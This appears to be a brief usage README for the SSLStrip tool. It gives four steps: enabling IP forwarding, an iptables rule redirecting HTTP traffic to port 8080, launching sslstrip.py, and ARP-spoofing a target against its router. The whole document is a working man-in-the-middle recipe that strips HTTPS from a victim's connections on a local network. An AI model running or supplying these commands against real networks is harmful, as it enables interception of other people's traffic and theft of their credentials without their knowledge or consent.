

# SSLStrip

1) Flip your machine into forwarding mode (as root):

```
echo "1" > /proc/sys/net/ipv4/ip_forward
```

2) Setup iptables to intercept HTTP requests (as root):

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

3) sslstrip.py -l 8080 -f lock.ico

4) Run arpspoof to redirect traffic to your machine (as root):

```
arpspoof -i <yourNetworkDevice> -t <yourTarget> <theRoutersIpAddress>
```